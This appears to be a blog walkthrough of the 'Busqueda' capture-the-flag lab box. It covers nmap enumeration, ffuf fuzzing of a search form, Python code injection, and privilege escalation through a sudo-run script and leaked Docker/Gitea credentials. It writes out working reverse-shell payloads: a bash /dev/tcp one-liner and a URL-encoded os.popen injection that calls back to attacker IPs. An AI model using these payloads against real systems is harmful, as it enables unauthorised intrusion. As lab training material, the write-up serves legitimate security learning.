Busqueda

Posted Jul 26, 2025 Updated Jul 26, 2025

By András Klein

3 min read

This note-style walk-through will be conducted with no Guided mode, as that is currently not available for this box.

Let’s start with enumeration.

nmap -sCV -oN busqueda 10.129.228.217

  
tarting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 15:17 EDT
Nmap scan report for 10.129.228.217
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds

As the Nmap scan shows, the website on port 80 is redirecting to http://searcher.htb. Let’s add this to the hosts file.

vi /etc/hosts

Now, let’s take a look at what is on port 80.

*Another good idea would be, after adding the domain name to the hosts file, to rerun Nmap, because of DNS, there are additional scripts that Nmap runs in that case. For example, discovering additional directories, like .git.

There is also a software version at the bottom of the web application. This could lead to compromise; however, there is an alternative path by doing fuzzing.

Let’s create a web request with the application and catch it in Burp Proxy. Copy the request to a file and use it for fuzzing.

Copy this to a file. I saved it as web.req.

  
ffuf -request web.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt

*Use -request-proto http, because the web application only accepts HTTP

We find that in some cases, it returns zero when the character is appended to the end of the username.

Here =>

By playing around with the request, we find an injection point for code execution:

There we go, this looks promising:

Let’s create a reverse shell.

  
echo -n "bash -c 'bash -i  >& /dev/tcp/10.10.14.195/4444  0>&1'  "|base64

nc -nvlp 4444

As this is a totally doable way of landing on the box, I had to use a simpler approach.

  
'+%2b+__import__('os').popen('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.43/9000+0>%261"').read()+%2b+' 

And with that, I got the user flag.

By looking around, we found a Gitea instance.

In the .git directory, I also found credentials, which are going to help with the login on the newly found web instance.

Taking a look at the website, there is nothing that could be used to progress further with this user.

However, by using the newly found password and running the sudo -l command, we find a Python script that can be run with sudo privileges.

By playing around with the script, I was able to extract credentials from a running Docker instance.

Making the output prettier, we can have a better look at the newly found credentials.

  
echo -n '{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}' | jq .

Alright, these credentials are going to be for the administrator user on the Gitea application. The account is going to list the script that we used to get the credentials from the Docker instance. By looking at the source code, we find a vulnerability in the code. This vulnerability executes a bash script that does not call the full path, meaning we can use this to our advantage.